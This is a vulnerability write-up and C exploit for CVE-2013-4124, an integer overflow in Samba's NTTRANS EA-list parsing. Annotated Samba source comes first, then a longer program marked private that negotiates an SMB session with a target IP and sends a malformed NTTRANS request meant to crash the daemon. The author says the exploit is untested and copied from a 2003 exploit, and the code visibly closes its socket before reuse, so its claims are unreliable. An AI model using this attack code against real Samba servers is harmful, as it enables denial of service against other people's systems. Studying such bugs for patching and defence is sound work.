708 lines
No EOL
23 KiB
Text
708 lines
No EOL
23 KiB
Text
Exploitation: samba nttrans reply integer overflow
|
|
|
|
___ ___
|
|
/ _ \ / _ \
|
|
__ __| (_) || | | | ___
|
|
\ \/ / \__. || | | | / __|
|
|
> < / / | |_| || (__
|
|
/_/\_\ /_/ \___/ \___|
|
|
|
|
|
|
CVE-2013-4124 samba integer overflow in nttrans
|
|
reply reading ea_list
|
|
|
|
vulnerable samba daemon has a integer overflow
|
|
to cause remote dos by nttrans reply while the
|
|
daemon reading ea_list. In the detail, unsigned
|
|
data type offset variable in vulnerable function
|
|
of read_nttrans_ea_list can be wrap up! security
|
|
bug!
|
|
|
|
|
|
x90c
|
|
|
|
[vulnerable versions]
|
|
- samba 3.5.22 <=
|
|
- samba 3.6.17 <=
|
|
- samba 4.0.8 <=
|
|
|
|
[call graph]
|
|
+reply_nttrans // reply nttrans
|
|
+->handle_nttrans
|
|
+-> call_nt_transact_create // transact!
|
|
-> read_nttrns_ea_list(vulnerable function)
|
|
|
|
[security bug analyze]
|
|
smbd/nttrans.c
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
971 /****************************************************************************
|
|
972 Read a list of EA names and data from an incoming data buffer. Create an ea_list with them.
|
|
973 ****************************************************************************/
|
|
974 EA names, data from samba incoming buffer!
|
|
975 struct ea_list *read_nttrans_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size) // *pdata is inject vector
|
|
976 {
|
|
977 struct ea_list *ea_list_head = NULL;
|
|
978 size_t offset = 0; // unisigned
|
|
979
|
|
980 if (data_size < 4) {
|
|
981 return NULL;
|
|
982 }
|
|
983
|
|
984 while (offset + 4 <= data_size) { // XXX (3) if offset is wrap up then it enters the loop continuly
|
|
985 size_t next_offset = IVAL(pdata,offset); // unsigned XXX (1) if next_offset from pdata pointer is much large value then to lead integer wrap!
|
|
// XXX (4) may memory corruption point! if offset is wrap up then second argv pointer(pdata+offset+4) pointers around zero memory then smb dos!
|
|
986 struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset + 4, data_size - offset - 4, NULL);
|
|
987
|
|
988 if (!eal) {
|
|
989 return NULL;
|
|
990 }
|
|
991
|
|
992 DLIST_ADD_END(ea_list_head, eal, struct ea_list *);
|
|
993 if (next_offset == 0) {
|
|
994 break;
|
|
995 }
|
|
996
|
|
997 /* Integer wrap protection for the increment. */ // XXX patch code
|
|
998 if (offset + next_offset < offset) {
|
|
999 break;
|
|
1000 }
|
|
1001
|
|
1002 offset += next_offset; // XXX (2) if next_offset is large value then offset is wrap!
|
|
1003
|
|
1004 /* Integer wrap protection for while loop. */ // XXX patch code
|
|
1005 if (offset + 4 < offset) {
|
|
1006 break;
|
|
1007 }
|
|
1008
|
|
1009 }
|
|
1010
|
|
1011 return ea_list_head;
|
|
1012 }
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
1014 /****************************************************************************
|
|
1015 Reply to a NT_TRANSACT_CREATE call (needs to process SD's).
|
|
1016 ****************************************************************************/
|
|
1017
|
|
1018 static void call_nt_transact_create(connection_struct *conn,
|
|
1019 struct smb_request *req,
|
|
1020 uint16 **ppsetup, uint32 setup_count,
|
|
1021 char **ppparams, uint32 parameter_count,
|
|
1022 char **ppdata, uint32 data_count,
|
|
1023 uint32 max_data_count)
|
|
1024 {
|
|
...
|
|
1148 /* We have already checked that ea_len <= data_count here. */
|
|
1149 ea_list = read_nttrans_ea_list(talloc_tos(), data + sd_len,
|
|
1150 ea_len);
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
2639 static void handle_nttrans(connection_struct *conn,
|
|
2640 struct trans_state *state,
|
|
2641 struct smb_request *req)
|
|
2642 {
|
|
...
|
|
2651 /* Now we must call the relevant NT_TRANS function */
|
|
2652 switch(state->call) {
|
|
2653 case NT_TRANSACT_CREATE: // NT_TRANSACT_CREATE!
|
|
2654 {
|
|
2655 START_PROFILE(NT_transact_create);
|
|
2656 call_nt_transact_create(
|
|
2657 conn, req,
|
|
2658 &state->setup, state->setup_count,
|
|
2659 &state->param, state->total_param,
|
|
2660 &state->data, state->total_data,
|
|
2661 state->max_data_return);
|
|
2662 END_PROFILE(NT_transact_create);
|
|
2663 break;
|
|
2664 }
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
2770 /****************************************************************************
|
|
2771 Reply to a SMBNTtrans.
|
|
2772 ****************************************************************************/
|
|
2773
|
|
2774 void reply_nttrans(struct smb_request *req) // smb_request!
|
|
2775 {
|
|
...
|
|
2945 if ((state->received_data == state->total_data) &&
|
|
2946 (state->received_param == state->total_param)) {
|
|
2947 handle_nttrans(conn, state, req);
|
|
---- snip ---- snip ---- snip ---- snip ----
|
|
|
|
[exploitability]
|
|
|
|
* keywords:
|
|
- samba incoming data
|
|
- EA names
|
|
- data
|
|
- 0xf1000000
|
|
- SMB NTTRANS
|
|
- Samba reply_nttrans() Remote Root Exploit
|
|
(http://www.securiteam.com/exploits/5TP0M2AAKS.html)
|
|
- SMB_COM_NT_TRANSACT(0xa0) = NTtrans (32-bit field)
|
|
- SMBtrans
|
|
- http://ubiqx.org/cifs/SMB.html
|
|
|
|
|
|
The security bug is remote dos to a daemon, the
|
|
impact is exist even though it's exploited on
|
|
local network. If large local network exist and
|
|
many samba on the network, security risk is exist.
|
|
I assign the dos impact to medium, and the apache
|
|
or wuftpd dos to high because they are can be
|
|
exploited on internet
|
|
|
|
/*
|
|
|
|
!!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!
|
|
|
|
CVE-2013-4124 samba remote dos private exploit
|
|
|
|
|
|
./samba_nttrans_exploit [target ip addr]
|
|
|
|
* ... test ...:
|
|
I didn't test for the exploit, I
|
|
copied another samba nttrans exploit
|
|
in 2003 that http://www.securiteam.co
|
|
m/exploits/5TP0M2AAKS.html. It should
|
|
be works!
|
|
|
|
the exploit send malformed nttrans
|
|
smb packet with large value of data
|
|
offset to cause integer wrap in the
|
|
vulnerable function of read_nttrns_ea_list
|
|
|
|
I left an article that analyzed it
|
|
|
|
!!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!
|
|
|
|
|
|
x90c
|
|
|
|
*/
|
|
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <errno.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <ctype.h>
|
|
#include <signal.h>
|
|
|
|
typedef unsigned char uint8;
|
|
typedef unsigned short uint16;
|
|
typedef unsigned long uint32;
|
|
|
|
struct variable_data_header
|
|
{ uint8 wordcount, bytecount[2];
|
|
};
|
|
|
|
struct nbt_session_header
|
|
{ uint8 type, flags, len[2];
|
|
};
|
|
|
|
struct smb_base_header
|
|
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
|
|
uint8 flags;
|
|
uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
|
|
};
|
|
|
|
struct negprot_reply_header
|
|
{ uint8 wordcount;
|
|
uint8 dialectindex[2];
|
|
uint8 securitymode;
|
|
uint16 maxmpxcount, maxvccount;
|
|
uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
|
|
uint16 timezone;
|
|
uint8 keylen;
|
|
uint16 bytecount;
|
|
};
|
|
|
|
struct sesssetupx_request_header
|
|
{ uint8 wordcount, command, reserved;
|
|
uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
|
|
uint8 sessionid[4];
|
|
uint8 ipasswdlen[2], passwdlen[2];
|
|
uint8 reserved2[4], capabilities[4];
|
|
};
|
|
|
|
struct sesssetupx_reply_header
|
|
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
|
|
};
|
|
|
|
struct tconx_request_header
|
|
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
|
|
};
|
|
|
|
struct tconx_reply_header
|
|
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
|
|
};
|
|
|
|
struct nttrans_primary_request_header
|
|
{
|
|
uint8 wordcount;
|
|
uint8 maxsetupcount;
|
|
uint8 flags[2];
|
|
uint8 totalparamcount[4];
|
|
uint8 totaldatacount[4];
|
|
uint8 maxparamcount[4];
|
|
uint8 maxdatacount[4];
|
|
uint8 paramcount[4];
|
|
uint8 paramoffset[4];
|
|
uint8 datacount[4];
|
|
uint8 dataoffset[4]; // XXXX 0xf000000
|
|
uint8 setupcount;
|
|
uint8 function[2];
|
|
uint8 bytecount[2];
|
|
};
|
|
|
|
#define SMB_NEGPROT 0x72
|
|
#define SMB_SESSSETUPX 0x73
|
|
#define SMB_TCONX 0x75
|
|
#define SMB_TRANS2 0x32
|
|
#define SMB_NTTRANS 0xA0
|
|
#define SMB_NTTRANSCREATE 0x01
|
|
#define SMB_TRANS2OPEN 0x00
|
|
#define SMB_SESSIONREQ 0x81
|
|
#define SMB_SESSION 0x00
|
|
|
|
uint32 sessionid, PARAMBASE = 0x81c0000;
|
|
char *tconx_servername;
|
|
int tid, pid, uid;
|
|
|
|
#define STACKBOTTOM 0xbfffffff
|
|
#define STACKBASE 0xbfffd000
|
|
#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))
|
|
|
|
char *netbios_encode_name(char *name, int type)
|
|
{ char plainname[16], c, *encoded, *ptr;
|
|
int i, len = strlen(name);
|
|
if ((encoded = malloc(34)) == NULL)
|
|
{ fprintf(stderr, "malloc() failed\n");
|
|
exit(-1);
|
|
}
|
|
ptr = encoded;
|
|
strncpy(plainname, name, 15);
|
|
*ptr++ = 0x20;
|
|
for (i = 0; i < 16; i++)
|
|
{ if (i == 15) c = type;
|
|
else
|
|
{ if (i < len) c = toupper(plainname[i]);
|
|
else c = 0x20;
|
|
}
|
|
*ptr++ = (((c >> 4) & 0xf) + 0x41);
|
|
*ptr++ = ((c & 0xf) + 0x41);
|
|
}
|
|
*ptr = '\0';
|
|
return encoded;
|
|
}
|
|
|
|
void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)
|
|
{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
|
|
uint16 nlen;
|
|
|
|
// geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..
|
|
if (len > 65535) nlen = 65535;
|
|
else nlen = htons(len);
|
|
|
|
memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));
|
|
|
|
nbt_hdr->type = type;
|
|
nbt_hdr->flags = flags;
|
|
memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
|
|
}
|
|
|
|
// caller zorgt voor juiste waarde van ptr.
|
|
void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid,
|
|
uint16 uid, uint16 mid)
|
|
{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;
|
|
|
|
memset(base_hdr, '\0', sizeof (struct smb_base_header));
|
|
|
|
memcpy(base_hdr->protocol, "\xffSMB", 4);
|
|
|
|
base_hdr->command = command;
|
|
base_hdr->flags = flags;
|
|
|
|
memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
|
|
memcpy(&base_hdr->tid, &tid, sizeof (uint16));
|
|
memcpy(&base_hdr->pid, &pid, sizeof (uint16));
|
|
memcpy(&base_hdr->uid, &uid, sizeof (uint16));
|
|
memcpy(base_hdr->mid, &mid, sizeof (uint16));
|
|
}
|
|
|
|
void construct_sesssetupx_header(char *ptr)
|
|
{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;
|
|
uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;
|
|
uint32 capabilities = 0x50;
|
|
|
|
memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));
|
|
|
|
sx_hdr->wordcount = 13;
|
|
sx_hdr->command = 0xff;
|
|
memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
|
|
memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
|
|
memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
|
|
memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
|
|
memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
|
|
memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
|
|
memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
|
|
}
|
|
|
|
/*
|
|
struct tconx_request_header
|
|
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
|
|
-- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
|
|
}; */
|
|
void construct_tconx_header(char *ptr)
|
|
{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;
|
|
uint16 passwdlen = 1, bytecount;
|
|
char *data;
|
|
|
|
memset(tx_hdr, '\0', sizeof (struct tconx_request_header));
|
|
|
|
bytecount = strlen(tconx_servername) + 15;
|
|
|
|
if ((data = malloc(bytecount)) == NULL)
|
|
{ fprintf(stderr, "malloc() failed, aborting!\n");
|
|
exit(-1);
|
|
}
|
|
memcpy(data, "\x00\x5c\x5c", 3);
|
|
memcpy(data + 3, tconx_servername, strlen(tconx_servername));
|
|
memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);
|
|
|
|
tx_hdr->wordcount = 4;
|
|
tx_hdr->xcommand = 0xff;
|
|
|
|
memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
|
|
memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));
|
|
|
|
memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
|
|
}
|
|
|
|
void nbt_session_request(int fd, char *clientname, char *servername)
|
|
{
|
|
char *cn, *sn;
|
|
char packet[sizeof (struct nbt_session_header) + (34 * 2)];
|
|
|
|
construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));
|
|
|
|
tconx_servername = servername;
|
|
|
|
sn = netbios_encode_name(servername, 0x20);
|
|
cn = netbios_encode_name(clientname, 0x00);
|
|
|
|
memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
|
|
memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);
|
|
|
|
write(fd, packet, sizeof (packet));
|
|
close(fd);
|
|
|
|
free(cn);
|
|
free(sn);
|
|
}
|
|
|
|
void process_nbt_session_reply(int fd)
|
|
{ struct nbt_session_header nbt_hdr;
|
|
char *errormsg;
|
|
uint8 errorcode;
|
|
int size, len = 0;
|
|
|
|
if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
if (size != sizeof (nbt_hdr))
|
|
{ close(fd);
|
|
fprintf(stderr, "read() a broken packet, aborting.\n");
|
|
exit(-1);
|
|
}
|
|
memcpy(&len, &nbt_hdr.len, sizeof (uint16));
|
|
|
|
if (len)
|
|
{ read(fd, (void *)&errorcode, 1);
|
|
close(fd);
|
|
switch (errorcode)
|
|
{ case 0x80 : errormsg = "Not listening on called name"; break;
|
|
case 0x81 : errormsg = "Not listening for calling name"; break;
|
|
case 0x82 : errormsg = "Called name not present"; break;
|
|
case 0x83 : errormsg = "Called name present, but insufficient resources"; break;
|
|
case 0x8f : errormsg = "Unspecified error"; break;
|
|
default : errormsg = "Unspecified error (unknown error code received!)"; break;
|
|
}
|
|
fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);
|
|
exit(-1);
|
|
}
|
|
printf("session request granted\n");
|
|
}
|
|
|
|
void negprot_request(int fd)
|
|
{ struct variable_data_header data;
|
|
char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
|
|
"\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR";
|
|
char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];
|
|
int dlen = htons(sizeof (dialects));
|
|
|
|
memset(&data, '\0', sizeof (data));
|
|
construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
|
|
pid = getpid();
|
|
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);
|
|
|
|
memcpy(&data.bytecount, &dlen, sizeof (uint16));
|
|
|
|
memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));
|
|
memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)),
|
|
dialects, sizeof (dialects));
|
|
|
|
if (write(fd, packet, sizeof (packet)) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
}
|
|
|
|
void process_negprot_reply(int fd)
|
|
{ struct nbt_session_header *nbt_hdr;
|
|
struct smb_base_header *base_hdr;
|
|
struct negprot_reply_header *np_reply_hdr;
|
|
char packet[1024];
|
|
int size;
|
|
uint16 pid_reply;
|
|
|
|
nbt_hdr = (struct nbt_session_header *)packet;
|
|
base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
|
|
np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) +
|
|
sizeof (struct smb_base_header)));
|
|
|
|
if ((size = read(fd, packet, sizeof (packet))) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
|
|
memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
|
|
memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
|
|
if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)
|
|
{ close(fd);
|
|
fprintf(stderr, "protocol negotiation failed\n");
|
|
exit(-1);
|
|
}
|
|
|
|
printf("protocol negotiation complete\n");
|
|
}
|
|
|
|
void sesssetupx_request(int fd)
|
|
{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
|
|
char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
|
|
sizeof (struct sesssetupx_request_header) + sizeof (data)];
|
|
int size;
|
|
|
|
construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
|
|
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
|
|
construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
|
|
memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
|
|
sizeof (struct sesssetupx_request_header), &data, sizeof (data));
|
|
|
|
if ((size = write(fd, packet, sizeof (packet))) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
if (size != sizeof (packet))
|
|
{ close(fd);
|
|
fprintf(stderr, "couldn't write entire packet, aborting!\n");
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
void process_sesssetupx_reply(int fd)
|
|
{ struct nbt_session_header *nbt_hdr;
|
|
struct smb_base_header *base_hdr;
|
|
struct sesssetupx_reply_header *sx_hdr;
|
|
char packet[1024];
|
|
int size, len;
|
|
|
|
if ((size = read(fd, packet, sizeof (packet))) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
|
|
nbt_hdr = (struct nbt_session_header *)packet;
|
|
base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
|
|
sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
|
|
|
|
memcpy(&len, &nbt_hdr->len, sizeof (uint16));
|
|
memcpy(&uid, &base_hdr->uid, sizeof (uint16));
|
|
|
|
if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
|
|
{ close(fd);
|
|
fprintf(stderr, "session setup failed\n");
|
|
exit(-1);
|
|
}
|
|
|
|
printf("session setup complete, got assigned uid %i\n", uid);
|
|
}
|
|
|
|
void tconx_request(int fd)
|
|
{
|
|
char *packet;
|
|
int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
|
|
sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;
|
|
|
|
if ((packet = malloc(pktsize)) == NULL)
|
|
{ close(fd);
|
|
fprintf(stderr, "malloc() failed, aborting!\n");
|
|
exit(-1);
|
|
}
|
|
|
|
construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));
|
|
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);
|
|
construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
|
|
|
|
if ((size = write(fd, packet, pktsize)) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
|
|
free(packet);
|
|
|
|
if (size != pktsize)
|
|
{ close(fd);
|
|
fprintf(stderr, "couldn't write entire packet, aborting!\n");
|
|
exit(-1);
|
|
}
|
|
}
|
|
|
|
void process_tconx_reply(int fd)
|
|
{ struct nbt_session_header *nbt_hdr;
|
|
struct smb_base_header *base_hdr;
|
|
struct tconx_reply_header *tx_hdr;
|
|
char packet[1024];
|
|
int size, bytecount;
|
|
|
|
if ((size = read(fd, packet, sizeof (packet))) == -1)
|
|
{ close(fd);
|
|
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
|
|
exit(-errno);
|
|
}
|
|
|
|
nbt_hdr = (struct nbt_session_header *)packet;
|
|
base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
|
|
tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
|
|
|
|
memcpy(&tid, &base_hdr->tid, sizeof (uint16));
|
|
memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));
|
|
|
|
printf("tree connect complete, got assigned tid %i\n", tid);
|
|
}
|
|
|
|
void nttrans_request(int fd) {
|
|
// packet = nbt session header + smb base header + nttrans header!
|
|
char packet[sizeof (struct nbt_session_header) +
|
|
sizeof (struct smb_base_header) +
|
|
sizeof (struct nttrans_primary_request_header)];
|
|
struct nttrans_primary_request_header nttrans_hdr; // nttrans header!
|
|
int size=0;
|
|
int function = SMB_NTTRANSCREATE; // NTTRANSCREATE!
|
|
int totalparamcount = TOTALCOUNT;
|
|
int totaldatacount = 0;
|
|
uint8 setupcount = 0;
|
|
|
|
memset(&nttrans_hdr, 0, sizeof nttrans_hdr);
|
|
|
|
// construct nbt session header
|
|
construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
|
|
// construct smb base header
|
|
construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS, 8, 1, tid, pid, uid, 1);
|
|
|
|
// construct nttrans header
|
|
nttrans_hdr.paramoffset[0] = '\x00';
|
|
nttrans_hdr.paramoffset[1] = '\x00';
|
|
nttrans_hdr.paramoffset[2] = '\x10';
|
|
nttrans_hdr.paramoffset[3] = '\xff';
|
|
nttrans_hdr.dataoffset[0] = '\x00'; // XXX data offset 0xff100000 to integer wrap
|
|
nttrans_hdr.dataoffset[1] = '\x00'; // the offset exploits the security bug of CVE-2013-4124
|
|
nttrans_hdr.dataoffset[2] = '\x10'; // samba remote dos
|
|
nttrans_hdr.dataoffset[3] = '\xff';
|
|
|
|
nttrans_hdr.wordcount = 19 + setupcount;
|
|
memcpy(&nttrans_hdr.function, &function, sizeof (uint16));
|
|
memcpy(&nttrans_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
|
|
memcpy(&nttrans_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
|
|
memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nttrans_hdr, sizeof nttrans_hdr);
|
|
|
|
// send samba packet!
|
|
size = write(fd, packet, sizeof (packet));
|
|
close(fd);
|
|
|
|
}
|
|
|
|
static char banner[]={
|
|
" ___ ___ \n" \
|
|
" / _ \\ / _ \\ \n" \
|
|
" __ __| (_) || | | | ___ \n" \
|
|
" \\ \\/ / \\__. || | | | / __| \n" \
|
|
" > < / / | |_| || (__ \n" \
|
|
" /_/\\_\\ /_/ \\___/ \\___| \n" \
|
|
};
|
|
|
|
int main(int argc, char *argv[]) {
|
|
int fd;
|
|
struct sockaddr_in s_in;
|
|
char target_ip[16];
|
|
int smb_port=139;
|
|
|
|
|
|
printf("%s\n\nsamba nttrans reply exploit\n\n", banner);
|
|
|
|
if(argc < 2){
|
|
fprintf(stderr, "samba nttrans reply exploit Usage:\n\n./samba_exploit [target ip addr]\n\n");
|
|
exit(-1);
|
|
}
|
|
|
|
strncpy(target_ip, argv[1], 16);
|
|
|
|
memset(&s_in, 0, sizeof (s_in));
|
|
s_in.sin_family = AF_INET;
|
|
s_in.sin_port = htons(smb_port); // samba port=139/tcp
|
|
s_in.sin_addr.s_addr = inet_addr(target_ip);
|
|
|
|
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
connect(fd, (struct sockaddr *)&s_in, sizeof (s_in));
|
|
|
|
// nbt(netbios over tcpip, nbtstat) session request
|
|
nbt_session_request(fd, "BOSSA", "SAMBA"); // adjust computer names(clientname, servername)
|
|
process_nbt_session_reply(fd);
|
|
|
|
// protocol negotiation
|
|
negprot_request(fd);
|
|
process_negprot_reply(fd);
|
|
|
|
// session setup
|
|
sesssetupx_request(fd); // setup request
|
|
process_sesssetupx_reply(fd); // setup reply
|
|
|
|
// tree connection setup
|
|
tconx_request(fd);
|
|
process_tconx_reply(fd);
|
|
|
|
// exploit!
|
|
printf("[*] nttrans reply exploit!\n");
|
|
nttrans_request(fd);
|
|
|
|
close(fd);
|
|
|
|
return 0;
|
|
} |